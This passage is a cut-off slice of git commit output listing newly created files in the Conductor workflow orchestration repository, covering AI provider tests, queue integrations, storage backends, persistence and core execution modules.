ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiChatModelReasoningTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/gemini/GeminiVertexTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokAIConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/grok/GrokTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/huggingface/HuggingFaceTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAIConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/mistral/MistralAITest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/ollama/OllamaTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAICompatChatModelMediaTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAIResponsesChatModelTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/openai/OpenAITest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/openai/api/OpenAIResponsesApiTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAIConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/providers/perplexity/PerplexityAITest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCConnectionConfigTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCEndToEndTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCInstanceConfigTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCProviderTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/sql/JDBCTaskMapperTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/A2AWorkersTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/tasks/worker/LLMWorkersTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/MongoVectorDBTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/PostgresVectorDBTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVecExtensionsTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBAutoConfigurationTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBRoundTripTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/SqliteVectorDBTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBProviderTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/vectordb/VectorDBsTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/video/VideoMemoryTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/video/VideoModelTest.java create mode 100644 ai/src/test/java/org/conductoross/conductor/ai/video/VideoProviderMemoryTest.java create mode 100644 ai/src/test/resources/a2a/README.md create mode 100644 ai/src/test/resources/a2a/durable-demo/README.md create mode 100644 ai/src/test/resources/a2a/durable-demo/durable_purchase.json create mode 100755 ai/src/test/resources/a2a/durable-demo/run-durable-demo.sh create mode 100644 ai/src/test/resources/a2a/durable-demo/seller_agent.py create mode 100644 ai/src/test/resources/a2a/echo_agent.py create mode 100644 ai/src/test/resources/a2a/interop-demo/README.md create mode 100644 ai/src/test/resources/a2a/interop-demo/a2a_interop_echo.json create mode 100755 ai/src/test/resources/a2a/interop-demo/run-interop-demo.sh create mode 100644 ai/src/test/resources/ai-test-env.sh create mode 100644 ai/src/test/resources/media/melon7391.png create mode 100644 amqp/build.gradle create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/AMQPConnection.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueue.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueConfiguration.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProperties.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPEventQueueProvider.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/config/AMQPRetryPattern.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConfigurations.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPConstants.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/AMQPSettings.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/ConnectionType.java create mode 100644 amqp/src/main/java/com/netflix/conductor/contribs/queue/amqp/util/RetryType.java create mode 100644 amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPEventQueueProviderTest.java create mode 100644 amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPObservableQueueTest.java create mode 100644 amqp/src/test/java/com/netflix/conductor/contribs/queue/amqp/AMQPSettingsTest.java create mode 100644 annotations-processor/README.md create mode 100644 annotations-processor/build.gradle create mode 100644 annotations-processor/src/example/java/com/example/Example.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/AbstractMessage.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Enum.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/Message.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoFile.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGen.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTask.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/AbstractType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ExternMessageType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/GenericType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ListType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MapType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/MessageType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/ScalarType.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/TypeMapper.java create mode 100644 annotations-processor/src/main/java/com/netflix/conductor/annotationsprocessor/protogen/types/WrappedType.java create mode 100644 annotations-processor/src/main/resources/templates/file.proto create mode 100644 annotations-processor/src/main/resources/templates/message.proto create mode 100644 annotations-processor/src/test/java/com/netflix/conductor/annotationsprocessor/protogen/ProtoGenTest.java create mode 100644 annotations-processor/src/test/resources/example.proto.txt create mode 100644 annotations/README.md create mode 100644 annotations/build.gradle create mode 100644 annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java create mode 100644 annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java create mode 100644 annotations/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java create mode 100644 awss3-storage/README.md create mode 100644 awss3-storage/build.gradle create mode 100644 awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Configuration.java create mode 100644 awss3-storage/src/main/java/com/netflix/conductor/s3/config/S3Properties.java create mode 100644 awss3-storage/src/main/java/com/netflix/conductor/s3/storage/S3PayloadStorage.java create mode 100644 awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageConfiguration.java create mode 100644 awss3-storage/src/main/java/org/conductoross/conductor/s3/config/S3FileStorageProperties.java create mode 100644 awss3-storage/src/main/java/org/conductoross/conductor/s3/storage/S3FileStorage.java create mode 100644 awss3-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 awssqs-event-queue/README.md create mode 100644 awssqs-event-queue/build.gradle create mode 100644 awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueConfiguration.java create mode 100644 awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProperties.java create mode 100644 awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/config/SQSEventQueueProvider.java create mode 100644 awssqs-event-queue/src/main/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueue.java create mode 100644 awssqs-event-queue/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/DefaultEventQueueProcessorTest.java create mode 100644 awssqs-event-queue/src/test/java/com/netflix/conductor/sqs/eventqueue/SQSObservableQueueTest.java create mode 100644 azureblob-storage/README.md create mode 100644 azureblob-storage/build.gradle create mode 100644 azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobConfiguration.java create mode 100644 azureblob-storage/src/main/java/com/netflix/conductor/azureblob/config/AzureBlobProperties.java create mode 100644 azureblob-storage/src/main/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorage.java create mode 100644 azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageConfiguration.java create mode 100644 azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/config/AzureBlobFileStorageProperties.java create mode 100644 azureblob-storage/src/main/java/org/conductoross/conductor/azureblob/storage/AzureBlobFileStorage.java create mode 100644 azureblob-storage/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 azureblob-storage/src/test/java/com/netflix/conductor/azureblob/storage/AzureBlobPayloadStorageTest.java create mode 100644 build.gradle create mode 100755 build_ui.sh create mode 100755 build_ui_next.sh create mode 100644 cassandra-persistence/build.gradle create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraConfiguration.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/CassandraProperties.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableEventHandlerDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CacheableMetadataDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/config/cache/CachingConfig.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraBaseDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraExecutionDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraFileMetadataDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraMetadataDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/dao/CassandraPollDataDAO.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Constants.java create mode 100644 cassandra-persistence/src/main/java/com/netflix/conductor/cassandra/util/Statements.java create mode 100644 cassandra-persistence/src/main/resources/META-INF/additional-spring-configuration-metadata.json create mode 100644 cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraEventHandlerDAOSpec.groovy create mode 100644 cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraExecutionDAOSpec.groovy create mode 100644 cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraMetadataDAOSpec.groovy create mode 100644 cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/dao/CassandraSpec.groovy create mode 100644 cassandra-persistence/src/test/groovy/com/netflix/conductor/cassandra/util/StatementsSpec.groovy create mode 100644 common-persistence/build.gradle create mode 100644 common-persistence/src/test/java/com/netflix/conductor/dao/ExecutionDAOTest.java create mode 100644 common-persistence/src/test/java/com/netflix/conductor/dao/TestBase.java create mode 100644 common/build.gradle create mode 100644 common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoEnum.java create mode 100644 common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoField.java create mode 100644 common/src/main/java/com/netflix/conductor/annotations/protogen/ProtoMessage.java create mode 100644 common/src/main/java/com/netflix/conductor/common/config/ObjectMapperBuilderConfiguration.java create mode 100644 common/src/main/java/com/netflix/conductor/common/config/ObjectMapperConfiguration.java create mode 100644 common/src/main/java/com/netflix/conductor/common/config/ObjectMapperProvider.java create mode 100644 common/src/main/java/com/netflix/conductor/common/constraints/NoSemiColonConstraint.java create mode 100644 common/src/main/java/com/netflix/conductor/common/constraints/OwnerEmailMandatoryConstraint.java create mode 100644 common/src/main/java/com/netflix/conductor/common/constraints/TaskReferenceNameUniqueConstraint.java create mode 100644 common/src/main/java/com/netflix/conductor/common/constraints/TaskTimeoutConstraint.java create mode 100644 common/src/main/java/com/netflix/conductor/common/constraints/ValidNameConstraint.java create mode 100644 common/src/main/java/com/netflix/conductor/common/jackson/JsonProtoModule.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/Auditable.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/BaseDef.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/EnvironmentVariable.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/SchemaDef.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/acl/Permission.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/events/EventExecution.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/events/EventHandler.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/ExecutionMetadata.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/PollData.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/Task.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskDef.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskExecLog.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskResult.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/tasks/TaskType.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/CacheConfig.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTask.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/DynamicForkJoinTaskList.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/IdempotencyStrategy.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/RateLimitConfig.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/RerunWorkflowRequest.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/SkipTaskRequest.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/StartWorkflowRequest.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/StateChangeEvent.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/SubWorkflowParams.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/UpgradeWorkflowRequest.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifier.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDef.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowDefSummary.java create mode 100644 common/src/main/java/com/netflix/conductor/common/metadata/workflow/WorkflowTask.java create mode 100644 common/src/main/java/com/netflix/conductor/common/model/BulkResponse.java create mode 100644 common/src/main/java/com/netflix/conductor/common/model/WorkflowMessage.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/ExternalStorageLocation.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/SearchResult.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/TaskSummary.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/Workflow.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/WorkflowSummary.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/WorkflowSummaryExtended.java create mode 100644 common/src/main/java/com/netflix/conductor/common/run/WorkflowTestRequest.java create mode 100644 common/src/main/java/com/netflix/conductor/common/utils/ConstraintParamUtil.java create mode 100644 common/src/main/java/com/netflix/conductor/common/utils/EnvUtils.java create mode 100644 common/src/main/java/com/netflix/conductor/common/utils/ExternalPayloadStorage.java create mode 100644 common/src/main/java/com/netflix/conductor/common/utils/SummaryUtil.java create mode 100644 common/src/main/java/com/netflix/conductor/common/utils/TaskUtils.java create mode 100644 common/src/main/java/com/netflix/conductor/common/validation/ErrorResponse.java create mode 100644 common/src/main/java/com/netflix/conductor/common/validation/ValidationError.java create mode 100644 common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/NonRetryableException.java create mode 100644 common/src/main/java/com/netflix/conductor/sdk/workflow/executor/task/TaskContext.java create mode 100644 common/src/main/java/org/conductoross/conductor/ai/TokenUsageLog.java create mode 100644 common/src/main/java/org/conductoross/conductor/common/Documented.java create mode 100644 common/src/main/java/org/conductoross/conductor/common/JsonSchemaValidator.java create mode 100644 common/src/main/java/org/conductoross/conductor/common/utils/StringTemplate.java create mode 100644 common/src/main/java/org/conductoross/conductor/common/utils/TextUtils.java create mode 100644 common/src/main/java/org/conductoross/conductor/core/execution/tasks/AnnotatedSystemTaskWorker.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/SignalResponse.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/TaskRun.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/WorkflowRun.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/WorkflowSignalReturnStrategy.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/WorkflowStatus.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileDownloadUrlResponse.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileHandle.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileIdToFileHandleIdConverter.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileUploadCompleteResponse.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileUploadRequest.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileUploadResponse.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileUploadStatus.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/FileUploadUrlResponse.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/MultipartCompleteRequest.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/MultipartInitResponse.java create mode 100644 common/src/main/java/org/conductoross/conductor/model/file/StorageType.java create mode 100644 common/src/test/java/com/netflix/conductor/common/config/TestObjectMapperConfiguration.java create mode 100644 common/src/test/java/com/netflix/conductor/common/constraints/NameValidatorTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/events/EventHandlerTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/metadata/EnvironmentVariableTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/metadata/workflow/WorkflowClassifierTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/run/TaskSummaryTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/tasks/TaskDefTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/tasks/TaskResultTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/tasks/TaskTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/utils/ConstraintParamUtilTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/utils/SummaryUtilTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/workflow/SubWorkflowParamsTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/workflow/WorkflowDefValidatorTest.java create mode 100644 common/src/test/java/com/netflix/conductor/common/workflow/WorkflowTaskTest.java create mode 100644 common/src/test/resources/application.properties create mode 100644 conductor-clients/README.md create mode 100644 conductor_server.bat create mode 100644 conductor_server.ps1 create mode 100755 conductor_server.sh create mode 100644 core/build.gradle create mode 100644 core/src/main/java/com/netflix/conductor/annotations/Audit.java create mode 100644 core/src/main/java/com/netflix/conductor/annotations/Trace.java create mode 100644 core/src/main/java/com/netflix/conductor/annotations/VisibleForTesting.java create mode 100644 core/src/main/java/com/netflix/conductor/core/LifecycleAwareComponent.java create mode 100644 core/src/main/java/com/netflix/conductor/core/WorkflowContext.java create mode 100644 core/src/main/java/com/netflix/conductor/core/config/ConductorCoreConfiguration.java create mode 100644 core/src/main/java/com/netflix/conductor/core/config/ConductorProperties.java create mode 100644 core/src/main/java/com/netflix/conductor/core/config/SchedulerConfiguration.java create mode 100644 core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueConfiguration.java create mode 100644 core/src/main/java/com/netflix/conductor/core/config/WorkflowMessageQueueProperties.java create mode 100644 core/src/main/java/com/netflix/conductor/core/dal/ExecutionDAOFacade.java create mode 100644 core/src/main/java/com/netflix/conductor/core/dao/InMemoryWorkflowMessageQueueDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/core/env/EnvVarLookup.java create mode 100644 core/src/main/java/com/netflix/conductor/core/env/EnvVariableEnvironmentDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/core/env/NoopEnvironmentDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/ActionProcessor.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/DefaultEventProcessor.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/DefaultEventQueueManager.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/EventQueueManager.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/EventQueueProvider.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/EventQueues.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/ScriptEvaluator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/SimpleActionProcessor.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/queue/ConductorEventQueueProvider.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/queue/ConductorObservableQueue.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/queue/DefaultEventQueueProcessor.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/queue/Message.java create mode 100644 core/src/main/java/com/netflix/conductor/core/events/queue/ObservableQueue.java create mode 100644 core/src/main/java/com/netflix/conductor/core/exception/AccessForbiddenException.java create mode 100644 core/src/main/java/com/netflix/conductor/core/exception/ConflictException.java create mode 100644 core/src/main/java/com/netflix/conductor/core/exception/NonTransientException.java create mode 100644 core/src/main/java/com/netflix/conductor/core/exception/NotFoundException.java create mode 100644 core/src/main/java/com/netflix/conductor/core/exception/TerminateWorkflowException.java create mode 100644 core/src/main/java/com/netflix/conductor/core/exception/TransientException.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/AsyncSystemTaskExecutor.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/DeciderService.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/NotificationResult.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/StartWorkflowInput.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutor.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/WorkflowExecutorOps.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/evaluators/ConsoleBridge.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/evaluators/Evaluator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/evaluators/GraalJSEvaluator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/evaluators/JavascriptEvaluator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/evaluators/PythonEvaluator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/evaluators/ValueParamEvaluator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/DecisionTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/DoWhileTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/DynamicTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/EventTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/ExclusiveJoinTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinDynamicTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/ForkJoinTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/HTTPTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/HumanTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/InlineTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/JoinTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/JsonJQTransformTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/KafkaPublishTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/LambdaTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/NoopTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/PullWorkflowMessagesTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/SetVariableTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/SimpleTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/StartWorkflowTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/SubWorkflowTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/SwitchTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/TaskMapperContext.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/TerminateTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/UserDefinedTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/mapper/WaitTaskMapper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Decision.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/DoWhile.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Event.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/ExclusiveJoin.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/ExecutionConfig.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Fork.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Human.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Inline.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/IsolatedTaskQueueProducer.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Join.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Lambda.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Noop.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/PullWorkflowMessages.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/SetVariable.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/StartWorkflow.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/SubWorkflow.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Switch.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskRegistry.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorker.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/SystemTaskWorkerCoordinator.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Terminate.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/Wait.java create mode 100644 core/src/main/java/com/netflix/conductor/core/execution/tasks/WorkflowSystemTask.java create mode 100644 core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAO.java create mode 100644 core/src/main/java/com/netflix/conductor/core/index/NoopIndexDAOConfiguration.java create mode 100644 core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListener.java create mode 100644 core/src/main/java/com/netflix/conductor/core/listener/TaskStatusListenerStub.java create mode 100644 core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListener.java create mode 100644 core/src/main/java/com/netflix/conductor/core/listener/WorkflowStatusListenerStub.java create mode 100644 core/src/main/java/com/netflix/conductor/core/metadata/MetadataMapperService.java create mode 100644 core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowReconciler.java create mode 100644 core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowRepairService.java create mode 100644 core/src/main/java/com/netflix/conductor/core/reconciliation/WorkflowSweeper.java create mode 100644 core/src/main/java/com/netflix/conductor/core/secrets/EnvVariableSecretsDAO.java create mode 100644 